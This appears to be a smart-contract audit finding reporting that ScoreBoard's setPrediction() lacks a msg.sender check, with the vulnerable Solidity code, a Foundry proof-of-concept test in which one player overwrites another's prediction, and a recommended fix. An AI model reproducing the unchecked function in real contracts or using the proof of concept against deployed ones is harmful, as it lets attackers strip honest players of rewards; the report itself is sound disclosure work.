Summary
Due to a missing check for the msg.sender in setPrediction() function, it is possible to override the predictions of other players.
Nothing stops the caller of the function to pass address player which is different than himself.
Vulnerability Details
setPrediction() is a public function which can be called by anyone. At the same time it accepts as an argument the address of the player which prediction is going to be changed. This can lead to loss of rewards for honest players, because someone has changed their prediction.
function setPrediction(address player, uint256 matchNumber, Result result) public {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400) {
playersPredictions[player].predictions[matchNumber] = result;
}
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (playersPredictions[player].predictions[i] != Result.Pending && playersPredictions[player].isPaid[i]) {
++playersPredictions[player].predictionsCount;
}
}
}
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract ThePredicterPocTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
address public friend = makeAddr("friend");
address public stranger = makeAddr("stranger");
uint256 constant ENTRANCE_FEE = 0.04 ether;
uint256 constant PREDICTION_FEE = 0.0001 ether;
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(address(scoreBoard), ENTRANCE_FEE, PREDICTION_FEE);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
vm.deal(friend, ENTRANCE_FEE + PREDICTION_FEE);
vm.deal(stranger, ENTRANCE_FEE);
}
function testOverridingPlayersPrediction() public {
uint8 MATCH_NUMBER = 0;
vm.prank(friend);
thePredicter.register{value: ENTRANCE_FEE}();
vm.prank(stranger);
thePredicter.register{value: ENTRANCE_FEE}();
vm.startPrank(organizer);
thePredicter.approvePlayer(friend);
thePredicter.approvePlayer(stranger);
vm.stopPrank();
vm.prank(friend);
thePredicter.makePrediction{value: PREDICTION_FEE}(MATCH_NUMBER, ScoreBoard.Result.First);
vm.prank(stranger);
scoreBoard.setPrediction(friend, MATCH_NUMBER, ScoreBoard.Result.Second);
}
}
Impact
Honest players can make a correct initial prediction, which might have been overridden by a malicious player, which can lead to loss of rewards for the honest player.
Tools Used
Manual Review
Recommendations
Consider adding a check for the passed argument for player. Since the setPrediction() is intended to be called directly by players and to be called by the predicter contract, we have to consider those two cases in our check - if the caller is the predicter, we trust the call, and if not, we check if the player argument is the same as the msg.sender.
function setPrediction(address player, uint256 matchNumber, Result result) public {
if(msg.sender != thePredicter && player != msg.sender) {
revert();
}
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400) {
playersPredictions[player].predictions[matchNumber] = result;
}
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (playersPredictions[player].predictions[i] != Result.Pending && playersPredictions[player].isPaid[i]) {
++playersPredictions[player].predictionsCount;
}
}
}
